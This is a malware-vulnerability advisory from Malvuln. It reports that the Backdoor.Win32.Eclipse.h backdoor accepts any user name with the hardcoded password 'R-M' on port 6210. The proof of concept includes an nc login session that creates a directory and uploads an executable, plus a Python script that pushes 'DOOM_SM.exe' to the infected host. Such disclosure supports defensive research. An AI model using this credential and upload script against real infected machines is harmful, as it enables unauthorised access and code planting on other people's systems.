Backdoor.Win32.Eclipse.h MVID-2022-0625 Hardcoded Credential

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Eclipse.hVulnerability: Weak Hardcoded CredentialsFamily: EclipseType: PE32MD5: 8b470931114527b4dce42034a95ebf46Vuln ID: MVID-2022-0625Disclosure: 07/21/2022Description: The malware listens on TCP port 6210 and authentication is required. However, the backdoor accepts any USER name for authentication and the password "R-M" is weak and hardcoded within the PE file. Unpacking the UPX packed executable, easily reveals the cleartext hardcoded password.00437590                 dd 3                    ; Len00437590                 db 'R-M',0              ; Text0043759C _str_6210       dd 0FFFFFFFFh           ; _topExploit/PoC:C:\>nc64.exe 192.168.18.125 6210220 Servidor FTP Temporal Ver. 2.1 por VladUSER malvuln331 Password required for malvuln.PASS R-M230 User malvuln logged in.SYST215 UNIX Type: L8 Internet Component SuiteMKD HATE257 'C:\HATE': directory created.CWD HATE250 CWD command successful. "C:/HATE/" is current directory.PASV227 Entering Passive Mode (192,168,18,125,213,228).STOR DOOM_SM.exe150 Opening data connection for DOOM_SM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=54756DOOM="DOOM_SM.exe"def doit():    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    f = open(DOOM, "rb")    EXE = f.read()    s.send(EXE)    while EXE:        s.send(EXE)        EXE=f.read()    s.close()    print("By Malvuln");if __name__=="__main__":    doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).